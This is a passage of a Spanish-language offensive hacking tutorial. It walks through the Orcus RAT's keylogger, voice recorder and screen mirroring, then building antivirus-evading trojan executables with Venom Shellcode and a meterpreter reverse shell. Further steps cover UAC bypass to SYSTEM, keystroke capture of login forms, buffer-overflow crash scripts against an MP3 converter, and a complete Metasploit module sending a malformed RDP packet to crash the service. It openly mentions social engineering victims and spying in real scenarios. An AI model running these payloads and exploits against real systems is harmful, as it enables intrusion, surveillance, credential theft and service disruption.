la fecha y hora de esta accin, dependiendo de lo que est haciendo el cliente se enviar en
tiempo real las acciones de este, en el ejemplo se capturo lo siguiente informacin solo con abrir
el navegador web de Internet Explorer ingresar al sitio de Gmail para loggearse en este (da igual
que navegador o versin de este se use) y por ultimo abrir un bloc de notas y escribir algo en l.
Consulta las imgenes:
Como se ejemplific, el Keylogger que trae consigo Orcus est muy completo, funciona en una
forma bastante simple en la que podamos obtener considerables cantidades de informacin de
una manera rpida, simple y sigilosa, gestiona la informacin en una forma en la que se pueda
interpretar mejor y funciona de una forma bastante estable, ahora que ya vimos un simple ejemplo
en un ambiente controlado.
Te imaginas lo que puede capturar en escenarios reales en el mundo laboral o durante la infeccin
de una vctima en especfico?
Explorando las dems funciones disponibles en la categora Surveillance, nos encontrremos
con algo bastante llamativo y til, el Voice Recorder (grabador de voz). No hace falta hacer una
descripcin de lo que hace o cul es su finalidad en s, pero lo que ser necesario es explicar sus
2 modos de uso que son con archivo de salida o sin este. Al seleccionarlo aparecern los
Recording Devices (dispositivos de grabacin) disponibles en el equipo cliente, puesto a que el
cliente es virtual habr veces en las que el entorno de virtualizacin (VMware) no har posible la
migracin de recursos (Hardware/Micrfono) hacia l, por ello es posible que aparezca de esta
forma (Microphone HDAD) de lo contrario se mostrar el modelo de este.
Dentro de las opciones de uso nos topamos con Bitrate (velocidad de transmisin), esto definir
la cantidad de espacio fsico que ocupar un segundo de duracin de ese audio, en pocas palabras
es la calidad de audio, la que viene configurada por default es de 8192. De los distintos modos
con los que contamos, queda por default el de Voip (Voice Over Internet Protocol), que es un
protocolo de comunicacin que hace posible que la seal de voz viaje por internet.
En cuanto a los 2 modos de uso, puedes especificar si al final del Recording (Grabacin) quieras
un archivo de salida de la grabacin (Save to file) y guardarlo en un directorio especfico (Path),
hecho esto solo presionas Start Recording y terminas tu trabajo cuando quieras con el botn de
a lado. Si solo quieres escuchar, bastar con presionar Start Recording
Dentro la funcin y su modo de uso podemos configurar los diferentes monitores a replicar o a
hacer Mirroring, ya que un equipo puede tener 1 o ms monitores conectados, tambin podemos
establecer la calidad en la que queremos recibir el Streaming (mientras ms alta ms uso de
ancho de banda se har), los FPS (Frames per second) que tendremos sobre este Streaming y
un FullScreen si as lo queremos. En el ejemplo siguiente al iniciar se mostrar en la barra de
monitoreo las acciones relevantes a esta funcin, como la recoleccin de Capture Devices
(Monitores), numero disponible de estos (1) y el comienzo de la transmisin o Remote Desktop
del equipo virtual. Consulta las imgenes:
Imagen 20.9 y 30.0: Funcin de monitoreo de escritorio.
EXTRA: Exploiting con Venom
Shellcode Generator.
Previamente habas realizado un ejercicio de cmo generar payloads en Python para poder
comprometer un sistema informtico, en este caso hars binarios (.exe) maliciosos que al
momento de ejecutarse en el equipo objetivo, realizan la inyeccin de cdigo arbitrario en la RAM
del sistema, con la consecuencia de que tal sistema sea comprometido de forma completa o
parcial, en esta ltima es donde se lleva cabo la escalada de privilegios para poder realizar ms
tareas de post-explotacin sobre el equipo. El detalle es que la generacin de RATs (Remote
Access Trojans) con algunas otras herramientas no es tan discreta que con Venom Shellcode, el
cual genera payloads en distintos formatos (Python, C, Ruby, Exe, DLL, BAT, .JAR (Java), PDF,
etc) los cuales llevarn consigo potentes troyanos que resultan bastante perjudiciales para el
equipo vctima.
En la siguiente demostracin ejemplificar como conseguir la explotacin de un sistema con
plataforma Windows, en este caso ser con Win 10, cabe mencionar que los payloads generados
para Windows funcionan para los ms modernos y comunes (Win Vista, 7, 8 y 8.1)
Una Distribucin para pentesting actualizada, recomiendo Parrot 3.1 o 3.2, Kali 2016.1
2016.2, ya que las anteriores puede que no cuenten con las dependencias que usa Venom
Shellcode.
Un equipo Windows en el mismo segmento de red que t maquina atacante, ya sea virtualizado
o fsico, en este ejemplo usar uno virtualizado.
Obtencin de Venom Shellcode.
Al igual que con otras herramientas que he demostrado, Venom Shellcode no viene precargada
en las distros para pentesting ms populares, por lo que habr que descargarla e instalarla por
nuestra cuenta.
Entra a este URL para descargarlo:
https://sourceforge.net/p/crisp-shellcode-generator/shell/ci/master/tarball
Tambin puedes descargarlo mediante el comando git clone, ejecutando: git clone
http://git.code.sf.net/p/crisp-shellcode-generator/shell crisp-shellcode-generator-shell
Lo cual realizar la descarga en nuestra mquina atacante, en donde navegaremos al lugar donde
reside su descarga: /root/shell/, dentro se halla otro directorio nombrado aux el cual contiene
el archivo para iniciar la instalacin, (setup.sh), establecemos una configuracion con chmod +x
*.sh y despus ejecutamos el archivo .sh:
Al iniciar, realizar la bsqueda y Checking de las dependencias para que funcione, en donde
seguirs los pasos de la instalacin para poder completarla, no toma ms de 5 min.
Una vez ya instalado, navegamos al directorio /root/shell/ y desde ah iniciaremos a Venom
Shellcode, ejecutando el comando ./vemom.sh:
Al iniciar se realizar de nuevo el Checking de las dependencias e iniciar el Banner donde se muestra
un listado con varias columnas, indicando que se codificar, el objetivo con el que funciona, con que
se compilar y el formato final del payload:
Del listado, seleccionaremos la opcin nmero 6, la que funciona para plataforma Windows,
funciona mediante powershell y ser generada como un .exe
Seguido de esto, estableceremos la configuracion del payload que generar, esto comenzar al
ingresar el nmero correspondiente de la lista:
Ahora lo siguiente ser escoger el payload de tipo Staged que ser el que desde la maquina
victima trabajar en conjunto con el Framework de Metasploit en nuestra maquina atacante. El
payload que escogeremos ser windows/meterpreter/reverse_tcp el cual funcionar como un
shell inversa que se nos devolver al momento de la ejecucin del binario malicioso en el quipo
objetivo:
Imagen 1.7: Seleccin de payload
Por ultimo escogeremos el medio por el cual se establecer el enlace de comunicacin al momento
de que el payload se ejecutado, ya sea un handler o un enlace malicioso, en este caso se usar
la primera opcin, el Handler, el cual es un exploit que al momento de usarlo estar a la escucha
de los exploits ejecutados por fuera de Metasploit, es decir, mostrar los stage o conexiones
creadas por estos troyanos o exploits ajenos al framework, en donde este trabajara en conjunto
con el binario malicioso:
NOTA: Para esta demostracin no hars uso de Metasploit por este medio, ya que las fallas son
algo comn al momento de enviar exploits, hacer uso de auxiliaries, encoders o shells, en
cambio, lo iniciar por mi cuenta desde una nueva terminal de comandos, simplemente
ejecutando msfconsole:
Al terminar eso, solo hace falta llegar el troyano al equipo vctima y conseguir que sea ejecutado,
para esto puede que se requiera algo de ingeniera social. La ubicacin del binario es
/root/shell/output:
Ahora que sabemos que puede hacer bypass o evasin de ms de 30 AVs destinos, podemos
hacerlo llegar al equipo objetivo y conseguir que sea ejecutado:
Una vez que se consiga esto, en Metasploit aparecer el envi de peticin hacia la direccin
donde se ejecuta el troyano, devolvindonos asi la shell inversa antes configurada y obteniendo
la sesion de Meterpreter, lista para ejecutar comandos sobre el equipo ajeno:
Ahora que sabemos el User ID, podemos notar que no tenemos carcter administrativo sobre este
sistema, asi que haremos una escalada de privilegios para conseguir esta, la cual tambin se
demostr en previos post que h realizado, haciendo bypass del UAC mediante algo de Powershell.
Antes de hacer esto haremos una migracin a un proceso que este corriendo actualmente, esto
con el fin de que no se pierda la conexin en caso de que la persona borre o cierre el binario
malicioso. Despus haremos un background de la sesin para tenerla trabajando en segundo
plano y asi volver a msfconsole, desde donde haremos uso del exploit para hacer bypass de UAC,
colocando en este la sesion en la que nos encontramos (1) y la tcnica de inyeccin de cdigo:
PSH (Powershell), al lanzarlo se deshabilitar el UAC y abrir una sesion de meterpreter nueva:
En esta nueva sesion ejecutaremos de nuevo el comando ps para en listar los procesos y
migraremos a alguno que tenga la caracterstica NT AUTHORITY\SYSTEM:
Imagen 2.9: Migracin a un proceso de carcter administrativo.
Una vez hecho esto, ejecutamos el comando getprivs para enlistar os privilegios con los que
contamos actualmente en este sistema, en donde se enlistaran 22 privilegios, si ejecutamos de
nuevo el comando getuid aparecer la etiqueta NT AUTHORITY\SYSTEM, y si tambin
ejecutamos el comando getsystem aparecer que se obtuvo previamente mediante la tcnica
que se describe seguido a la derecha:
Ahora, haremos una tarea de post-explotacin, haciendo uso de un keysniffer para capturar
teclas presionadas en este equipo comprometido, usando el comando keyscan_start para iniciar
este sniffer, una vez que queramos hacer el volcado de la informacin que captur ejecutamos el
comando keyscan_dump. Seguido de eso, dentro de un Doc. De Word nombrado Testing
Shellcode, se ejemplificar un escrito para demostrar el uso del Keylogger:
Ahora lo intentaremos con el formulario de Loggeo en una Pgina Web, no importa si usa una
conexin segura o no, ya que el sniffer solo captura teclas presionadas, ya que Metasploit lo
ofusca para que no sea detectado por firewalls en equipos o sitios web, como es el caso de
Instagram, en donde ingresars un usuario y password ficticios, teniendo corriendo al
keylogger/sniffer en Metasploit:
Por otro lado, en Metasploit, haremos el volcado de la informacin capturada por el keysniffer:
NOTA: Para que puedas tener una comprensin total de que es lo que viene ms adelante en este
captulo debes contar con conocimientos bsicos del lenguaje ensamblador, de lo contrario puede
que se te topes con algunas complicaciones, as que veremos unos aspectos bsicos sobre este
y cul es la importancia que tiene en el desarrollo de exploits.
Register (Registro): es un rea del procesador que se utiliza para almacenar informacin,
cada proceso que se ejecuta en el procesador es en base al registro, un ejemplo de ello
fue en el captulo anterior indicando esta funcin en el RAT.
Llamadas de sistema (System Calls): Estas son llevadas a cabo un mtodo de nivel de
sistema invocado por un programa en ejecucin.
Buffer Overflow: Esto generalmente significa que hay ms datos suministrados en la pila
o en el buffer que los que este puede contener, si esto desborda, puede ocasionar el
Crash de un programa o simplemente un DoS.
Registros.
Estos son los encargados de llevar a cabo casi todas las funciones en el sistema, ya que contienen
todas las instrucciones a ser procesadas. Comnmente hacemos referencia alguno de ellos por el
tamao de memoria que pueden contener (Holding 8 to 32-bits), los registros son componentes
de memoria muy veloces, algunos tipos de estos son los de tipo Index, de propsito general, de
segmento y EFLAGS, veamos algunos de ellos:
El siguiente ejercicio har nfasis en los ltimos 2 registros, estos son los que trabajan
directamente con pilas, y apuntadores de instrucciones, sabiendo esto vamos a crear 2
programas; uno que ser la aplicacin vulnerable, y otro que se aproveche del cdigo de esta y
haga cambios con los registros.
Qu significa esto?
Bien, aqu tendrs tu primera aproximacin en el tema de cmo es que se formula un exploit de
este tipo, asemejndonos al funcionamiento de uno de ellos. Lo que hars en este primer ejercicio
ser compilar un programa y en base al cdigo proporcionado para este, explotar el fallo o
vulnerabilidad que se halla dentro.
Haremos nfasis en hacer Crashear una Aplicacin y saber sobre que circunstancias ocurre esto,
con la finalidad de poder saber comprender y analizar las modificaciones que se tienen que realizar
para conseguir lo anterior.
Como previamente se coment acerca de los registros, EIP y ESP pueden resultar afectados
cuando se les proporciona a estos una cantidad de datos lo suficientemente grande para poder
ocasionarles un overflow, as que lo que se har ser compilar un programa que usar buffers y
le ocasionaremos un Crash. Pero antes cubrirs algunos conceptos importantes para que
entiendas cul es su lugar en los programas y como es que se involucran en una vulnerabilidad
de este tipo.
Lo que necesitars:
Windows 10
Parrot Security OS
El programa al que nos referimos est hecho en C, lo vers en la sintaxis en un momento, ahora
lo que hars con este cdigo ser compilarlo, para esto usaremos un compilador de C, en este
caso ser LCC Compiler que tambin viene incluido en el material correspondiente a este captulo,
aunque tambin puedes descargarlo por aqu: https://lcc-win32.en.uptodown.com/windows
Antes de continuar habr que hacer una pequea configuracin en el equipo Windows, siendo
esta la habilitacin del cliente Telnet. Esta funcin nos permitir interaccin local remota entre
Windows y Parrot, lo que la lleva ser la interprete para explotar la vulnerabilidad del cdigo.
Teniendo esto configurado y haber hecho la instalacin de LCC Compiler lo abriremos. Hecho
esto, buscamos el archivo que contiene el cdigo en C, esto desde el men desplegable File y
seleccionado la opcin Open.
Una vez localizado lo abrimos y veremos una ventana con el cdigo siguiente:
Puedes sentirte libre de leer o inspeccionar el cdigo de este programa si as lo quieres. LCC
Compiler pide la creacin de un proyecto por cada file que se quiera compilar, por lo que habr
que hacer esto, para conseguirlo ms rpido, basta con seleccionar la opcin Compile que
aparecer antes del nombre del File actual, al finalizar aparecer un mensaje indicando el tiempo
que tom, todo esto se hace desde el men Compiler:
Lo que esto har ser hacer una llamada al programa y establecer algn puerto que usar el
programa para funcionar, este puede ser de nuestra preferencia, en este caso se us el 200.
Luego de la ejecucin de este primer comando haremos una segunda, ahora usando a la funcin
Telnet para poder conectarse al puerto escogido, para ello basta con ejecutar en una nueva
terminal este comando con la siguiente sintaxis.
Dentro de esta Shell de Telnet, pondremos en funcin la finalidad del programa y de los registros
EIP y ESP, que son el almacenar datos en una pila y el otro apuntar direcciones de
instrucciones. Sabiendo esto ingresaremos caracteres aleatorios en el input en 3 intentos.
Durante los 2 primeros no ha pasado nada, en cambio, en el tercer intento ingresaremos los
suficientes caracteres con el fin de conseguir el cierre de la aplicacin, gracias al Buffer-overflow
que ocasionamos. Como se puede ver, un mensaje de error fue generado por Windows, en
donde indica que la aplicacin tuvo un fallo durante su funcionamiento.
Imagen 31.0: Desbordamiento conseguido.
Hasta ahora hemos sobrescrito los valores del registro ESP que es el que trabaja con el stack
(pila), consiguiendo as el Crashing de la aplicacin y por ende su cierre total.
Pero esto lo hemos hecho sobre la misma aplicacin, as que es momento de hacerlo de forma
remota desde otra mquina que se halle en el mismo segmento de red que la mquina atacante,
la cual ser la que contenga la distro de Parrot Security OS.
Aqu es donde crearemos un file con Perl el cual contendr un nmero especfico de caracteres
aleatorios.
Estando en Parrot abriremos una terminal y ejecutamos el siguiente comando:
perl -e print LOL x 300 , HM x 300 > crash.txt : Este crear un script que imprima
los caracteres LOL y HM 300 veces cada uno:
La diferencia que hars con esto es que te has deshecho de la parte manual de hacerlo todo en
la propia maquina Windows en donde corre la aplicacin, ahora solo bastar con que hagas una
conexin Telnet desde Parrot mientras la aplicacin est en funcin en el Host Windows, para esto
volvers a ejecutar el primer comando de la lista (bof-server.exe 200).
Luego de que se haya puesto el programa a trabajar sobre este puerto o el que se haya
seleccionado, pasars a ejecutar el siguiente comando en Parrot:
Pasando al lado de Windows, nos encontraremos con el mismo error de fallo en la aplicacin,
el que se ocasiono debido a la sobre escritura de valores en el registro ESP, gracias a que t
hiciste un Buffer-overflow en el. Adems, se puede ver los diferentes registros de conexin y
desconexin de Telnet, debido al Overflow ocasionado un par de veces por este mtodo, otra forma
en que se puede manifestar la desconexin es que en la terminal aparezca un banner indicando
la finalizacin anormal del programa:
Utilizamos 2 formas distintas para explotar esto y conseguir el fallo de la aplicacin, una era
interactuar directamente con el programa y simplemente ingresar caracteres de ms dentro de l,
y la otra era que desde Parrot se hiciese el envo de un script en Perl que imprima 600 caracteres
al momento de ejecutarse, consiguiendo as el Crash de la aplicacin de forma remota,
aproximndonos cada vez ms a la formulacin de un exploit. Ahora en esta nueva prueba,
trabajars con una Aplicacin autntica la cual cuenta con una vulnerabilidad de este tipo, solo
que un poco ms compleja de explotar. Una vez que consigas el primer medio de explotacin,
pasars a utilizar un Debugger (Depurador) sobre la aplicacin, esto tiene como final el que
comprendas ms a detalle este fallo, utilizando como interprete o depurador a Immunity
Debugger, entendiendo as las instrucciones involucradas y registros afectados por esta
vulnerabilidad y su explotacin.
Como ya se sabe, esto tambin se consigue mediante la ejecucin remota de cdigo, ahora
utilizaremos a Python para hacer el compilar el cdigo que consiga afectar la aplicacin, una vez
que consigas esto y hayas utilizado el Debugger para interpretar de mejor forma este Crashing del
programa, hars uso de una librera en Python para la escritura de exploits. Dentro del
repertorio de material correspondiente a este captulo, encontrars una carpeta nombrada BOF
No. 2, dentro viene lo necesario para poder completar este ejercicio:
Antes de comenzar habr que instalar un par de cosas para poder completar esta prueba, realiza
estas instalaciones dentro de tu equipo Windows en el siguiente orden:
1) Python- 2.7.13: Es el lenguaje que usaremos y sobre el que vamos a compilar el exploit.
2) Immunity Debugger 1.85: Este es el software depurador que se usar en esta prueba,
requiere la instalacin de Python.
Una vez que est listo lo anterior, abriremos el IDLE de Python (GUI) para comenzar nuestra
aproximacin, una vez dentro del IDLE abriremos un nuevo archivo desde el men File, en la
opcin New File y seguiremos los siguientes pasos:
Al hacer esto se abrir una nueva ventana, en donde escribiremos el cdigo de abajo,
terminado, lo guardamos con el nombre y en el lugar de nuestra preferencia desde el men
File, consulta la imagen:
primeravariable= "HackingMexico"*17890
archivo=open("Playlist.m3u","w")
archivo.write(primeravariable);
archivo.close()
Ya estando guardado, corremos el programa con la opcin Run Module desde el men
Run, mostrando la ejecucin correcta, con una nueva Prompt Line.
Lo que hicimos con esto fu que la primera lnea imprima el texto HackingMexico 17890
veces, luego al momento de la compilacin este script se guardar como un archivo con
extensin .m3u, que es el formato del Playlist con el que trabaja el programa vulnerable,
este Playlist se encuentra en el lugar donde reside el script de Python:
Teniendo este Playlist, abrimos el programa vulnerable (Mini-streamRM-MP3Converter) y
desde la opcin Load ubicaremos el directorio del archivo .m3u y cargaremos este
Playlist, que en realidad es un script que lleva la instruccin de que al momento de su
ejecucin imprimir o mostrar 17890 veces el texto configurado, consiguiendo el Crashing
de la aplicacin:
Hasta este punto hemos conseguido el desbordamiento de la pila gracias al script hecho en
Python, el cual lo hicimos pasar por un supuesto Playlist que cargamos al programa,
ocasionando el Overflow. Hecho esto, es momento de pasar a utilizar un Debugger para hacer
un poco de Reversing y comprender de mejor forma que es lo que ocurre en el programa cuando
la pila de este se desborda.
Para esto utilizaremos el Debugger antes mencionado, Immunity Debugger. Cabe mencionar
que es recomendable siempre ejecutarlo como administrador, tambin es importante
mencionar que el directorio de instalacin de este Debugger puede variar, lo ms comn es que
al finalizar la instalacin del programa, el lugar en el que resida ser en el directorio C:\Program
Files(x86)\ImmunityInc\ImmunityDebugger, en este caso debido a la proteccin antivirus del
equipo, se instal en el siguiente directorio o Path:
Una vez dentro, abriremos el Binario que cuenta con la vulnerabilidad de Buffer-overflow, esto
desde el men File mediante la opcin Open para navegar hacia el directorio en donde reside,
aqu tambin puede variar el Path de instalacin, sin embargo, lo comn es que se guarde en el
siguiente directorio, (Por obvias razones aparece en el historial del Debugger ya que lo abr con
anterioridad):
Lo que haremos con este binario ser una poco de Reversing hacia este, depurando el cdigo y
mostrndolo en un lenguaje de bajo nivel, esto con la finalidad de identificar qu es lo que est
siendo afectado en el programa, que registros estn involucrados en este fallo, y como conseguir
que, gracias a esta nueva informacin, podamos llevar las cosas un poco ms lejos. Est de ms
mencionar que debers tener conceptos esenciales de Assembler (Lenguaje ensamblador).
Una vez abierto el binario en el Debugger, este se mostrar de la manera siguiente:
Imagen 32.8: Panel CPU y sus ventanas en el Debugger.
Antes de que sigamos con esto, hay que aclarar ciertos puntos. Cuando se carga una aplicacin
o un binario a Immunity Debugger, este por defecto abrir un panel nombrado CPU que es el que
se ve en la imagen anterior, este est dividido de 4 componentes:
Registers (Registros): Aqu se pueden visualizar todos los registros del CPU y sus valores,
se pueden ver registros de propsito general (General Purpose) los cuales contienen
valores temporales, y tambin se ven registros para controlar el flujo del programa, tambin
se pueden ver registros bandera, los cuales el CPU cambia cuando ha ocurrido algo
importante o notorio (como un Overflow).
Dump (Volcado): Esta ventana muestra la vista hexadecimal del programa completo,
dividida en 3 columnas, la primera muestra la direccin, la segunda los valores que se
hallan en esa direccin, y la ltima muestra cometarios.
Stack (Pila): Muestra la locacin de memoria a la que apunta el registro ESP.
Entendidos los puntos anteriores, es momento de correr el programa sobre el Debugger para
poder interpretar mejor las instrucciones que se llevan a cabo para esta ejecucin, para ello
haremos clic en la opcin Run, al principio vers unos movimientos en las instrucciones e
inmediatamente aparecer en detencin (Paused) el programa, esto lo puedes verificar en la
esquina inferior derecha del Debugger, esto no quiere decir que no funcione correctamente el
programa, si no que las instrucciones de inicio trabajan en fases diferentes, solo basta con hacer
clic en Run una vez ms. Luego de esto se abrir el programa, ahora repetirs los pasos
anteriores; cargar el Playlist (Script de Python) con extensin .m3u para conseguir el Crash:
Imagen 32.9 33.3: Proceso de Debugging y Crashing de la Aplicacin.
El registro ESP (Stack Pointer) apunta a una direccin, la cual contiene como valor HMex,
impreso 17890 veces, y EIP, apunta hacia una direccin que es la 4D487865, as como tambin
en el Stack aparece la misma direccin con el mismo valor:
Esta herramienta viene incluida en el material de trabajo para este captulo, dentro de la carpeta
mona-master Para que funcione con el Immunity Debugger simplemente deber agregarse a la
carpeta PyCommands que se encuentra en el directorio de instalacin del Debugger, solamente
vas copiar el archivo con extensin .py. Una vez colocado tendrs que reiniciar Immunity
Debugger:
Terminado lo anterior, obviamente tendrs que repetir los pases anteriores hasta la parte en donde
vimos los registros ESP e EIP afectados. Luego que retomes el punto anterior, ejecutars tal cual
lo siguiente en la barra de comandos de Immunity Debugger: !mona pc 17890
Donde:
Al momento de la ejecucin aparecer una nueva ventana con texto en verde nen, indicando el
proceso de la accin ejecutada, as como tambin muestra detalles sobre lo que solicitamos, como
lo es el tiempo de compilacin y el nombre del archivo de salida (output), que es pattern.txt
El rengln con caracteres ms largo que vemos es el patrn de 17890 bytes que solicitamos crear,
tambin veremos una nota en color rojo indicando algo importante, indica que no es
recomendable copiar el patrn desde ah mismo en el Debugger, ya que puede aparecer
cortado, por lo que habr que copiarlo directamente desde el archivo de salida con extensin
.txt, este reside en el directorio de instalacin de Immunity Debugger.
Una vez que tengas ubicado el archivo, lo abrirs y copiars todo el patrn fue generado con
mona.py desde el Debugger y hars el siguiente cambio en el cdigo del primer script de Python,
en donde reemplazars el texto HMex por el patrn que copiaste, al final del texto a imprimir
indicars que quieres esa impresin 2 veces (*2), guardars los cambios y ejecutars el script:
Una vez que demos el SI, se restablecern las 4 ventanas que constituyen el panel de CPU.
Repetirs los mismos pasos que van desde el inicio de programa en el Debugger hasta la
seleccin y carga del Playlist que en este caso se trata del script en Python que trae los patrones
creados con mona.py.
Una vez cargado, vers que la aplicacin tendr de nuevo un Crash, siendo este un Overflow
ocasionado por el cdigo proporcionado.
En la ventana de Registers y Stack vers que ahora abundan los caracteres aleatorios que fueron
sacados del archivo pattern.txt, as como tambin podrs notar que el registro ESP apunta a
una direccin con datos (Caracteres aleatorios), esta direccin tambin se encuentra en la
ventana de Stack:
Este nmero que nos arroj el Debugger lo usaremos para aadirlo al script y hacer cambios en
este. Esto con el fin de ocasionar de nuevo la detencin del programa, sin embargo, verificaremos
los nuevos resultados que se mostrarn en el Debugger. Al cdigo de Python le aadiremos 3
lneas nuevas y modificaremos la primera y la penltima, quedando de esta forma:
primeravariable= "HMex"
punch= "PS"*17163
dirEIP= "EIP"
punch2= "HM"*2846
archivo=open("Playlist.m3u","w")
archivo.write(primeravariable+punch+dirEIP+punch2);
archivo.close()
Imagen 34.7 35.0: Compilacin del cdigo, reinicio del programa, y nuevo desbordamiento de pila.
Al conseguir el desbordamiento, veremos en la ventana de Registers la direccin a la que apunta
el registro EIP, que es la 484D84D, si verificamos a detalle la ventana Stack, podremos ver que
en ella se encuentran los valores proporcionados en el cdigo de Python, apuntando las
direcciones hacia el valor HM, que es el referente al registro EIP con direccin 484D484D,
tambin vemos el valor EIP y PS proporcionados en el script, cada uno apuntando a direcciones
diferentes, vindose de la siguiente manera:
Existe un detalle ms, como la vulnerabilidad de la que te vas a aprovechar funciona mediante un
servicio de Windows (Remote Desktop Service), aqu no podrs buscar un file que contenga cdigo
malicioso y abrirlo, ni hars un script con caracteres aleatorios, ni tampoco hars Reversing o
Debugging del programa. Ahora con el cdigo antes mencionado, lo exportars hacia los
repositorios de Metasploit, creando as tu propio mdulo para que despus te apoyes del
Framework para poder usar este bloque de cdigo a su modo de Metasploit, y despus conseguir
el Denial of Service, y para esto existe todo un proceso que seguir, antes de ello, es importante
que sepas unas cosas acerca de crear tu propio mdulo en Metasploit.
Formulacin de tu primer Auxiliary.
Como pentester, es importante que sepas que se habr ocasiones en las que tendrs las buscar
la manera de perjudicar ciertos recursos informticos debido a que no cuentas con los medios para
conseguir este fin, como lo es algn exploit o auxiliar para atacar algo, por lo que tendrs que
compilar cdigo por tu cuenta y posteriormente aadirlo al Framework para probar su eficacia.
Al iniciar con esto doy por hecho que estas familiarizado con algo de programacin o puedes
comprender lo que hace cada lnea del cdigo, as como tambin has entendido lo que implica una
vulnerabilidad Buffer Overflow.
El siguiente escenario te encontrars con una mquina virtual que cuenta con Windows 7, esta
trae consigo una versin vulnerable de del RDP (Remote desktop protocol), la cual afecta al
servicio de escritorio remoto de Windows, siendo tambin un overflow. Con el siguiente cdigo,
conseguirs explotar esta vulnerabilidad y as mismo la adicin de este a Metasploit, a pesar de
que este cdigo tiene la funcin de explotar esta vulnerabilidad, se le asignar al mdulo
Auxiliary, ya que la sintaxis para uso de cdigo en Metasploit establece que se necesita un
payload para poder hacer uso de la librera Exploit, por lo que se quedar como un auxiliar,
aunque resulte igual de perjudicial que un exploit, para los exploits siempre debe de existir
un bloque de informacin acerca de un payload, si no existe tal, se le considera un Auxiliar..
Metasploit cuenta con un extenso repositorio de scripts, encoders, exploits, etc. Estos van por
categoras y clasificaciones, dependiendo el uso que se les vaya a dar, en singular, un mdulo es
el lugar en donde se encuentra un bloque de cdigo que funciona con Metasploit, ya sea cualquiera
de los tipos de repos antes mencionados, pero para que un mdulo funcione bien debe tener cierta
sintaxis el cdigo para que Metasploit lo tome en cuenta, por ello es importante la sintaxis de esta
accin en el cdigo antes mencionado.
Qu es lo que haremos para lograr explotar esta vulnerabilidad?
Parrot cuenta con un editor de texto bastante bueno, se trata de Pluma, este podemos abrirlo
desde una consola:
Sabiendo todo lo necesario, usaremos el siguiente cdigo para para crear nuestro Auxiliary para
Buffer Overflow:
NOTA: Este cdigo tambin vine incluido en me material de trabajo referente a este captulo.
require 'msf/core'
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
'Autor' =>
[
'Tu_Nombre'
],
'Tipo de uso' => MSF_LICENSE,
))
register_options(
[
Opt::RPORT(3389)
], self.class)
end
def si_el_servicio_esta_funcional
begin
connect
disconnect
return true
rescue Rex::ConnectionRefused
return false
rescue Rex::ConnectionTimeout
return false
end
end
def run
tercer_overflow = "\x02\x01\xff"
pkt = ''+
"\x03\x00\x00\x13" + # TPKT: version + length
"\x0E\xE0\x00\x00" + # X.224 (connection request)
"\x00\x00\x00\x01" +
"\x00\x08\x00\x00" +
"\x00\x00\x00" +
"\x03\x00\x00\x6A" + # TPKT: version + length
"\x02\xF0\x80" + # X.224 (connect-initial)
"\x7F\x65\x82\x00" + # T.125
"\x5E" +
"\x04\x01\x01" + # callingDomainSelector
"\x04\x01\x01" + # calledDomainSelector
"\x01\x01\xFF" + # upwardFlag
"\x30\x19" + # targetParameters
tercer_overflow + # 3rdBOFF
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x30\x19" + # minimumParameters
tercer_overflow + # 3rdBOFF
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x30\x19" + # maximumParameters
tercer_overflow + # 3rdBOFF
"\x02\x01\xFF" + # maxUserIds
"\x02\x01\x00" + # maxTokenIds
"\x02\x01\x01" + # numPriorities
"\x02\x01\x00" + # minThroughput
"\x02\x01\x01" + # maxHeight
"\x02\x02\x00\x7C" + # maxMCSPDUsize
"\x02\x01\x02" + # protocolVersion
"\x04\x82\x00\x00" + # userData
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x08" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x28" + # T.125
"\x03\x00\x00\x0C" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x38\x00\x06\x03" + # T.125
"\xF0" +
"\x03\x00\x00\x09" + # TPKT: version + length
"\x02\xF0\x80" + # X.224
"\x21\x80" # T.125
unless si_el_servicio_esta_funcional
print_error("#{rhost}:#{rport} - Algo anda mal, conexion no establecida")
return
end
connect
print_status("#{rhost}:#{rport} - Enviando #{self.name}")
sock.put(pkt)
Rex.sleep(3)
disconnect
print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes enviados")
if si_el_servicio_esta_funcional
print_error("#{rhost}:#{rport} - Algo anda mal, conexion no establecida")
return
else
print_good("#{rhost}:#{rport} Buen trabajo, esta inhabil")
report_vuln({
:host => rhost,
:port => rport,
:name => self.name,
:refs => self.references,
:info => "Module #{self.fullname} Desbordamiento conseguido hacia el servicio RDP"
})
end
end
end
Al comienzo del bloque de cdigo podemos ver algo acerca de Metasploit, en donde nos topamos
con las lneas encargadas de que el Framework reconozca este cdigo como un mdulo funcional,
gracias a la sintaxis siguiente:
En donde de la lnea 1 a la 8:
require msf/core: La librera core provee los fines con los que se quiera utilizar el
framework, ya sea un enconder, un exploit, un auxiliar, un post, etc.
class: Indicar las categoras en las que se hallar el mdulo.
Imagen 35.5: Condicionales acerca de la respuesta por parte del Host Vulnerable.
Ahora de la lnea 46 a la 117, nos encontraremos con un ShellCode, que es el cdigo que realizar
la accin perjudicial sobre el host remoto, ocasionando el desbordamiento de la pila o Stack de
este servicio:
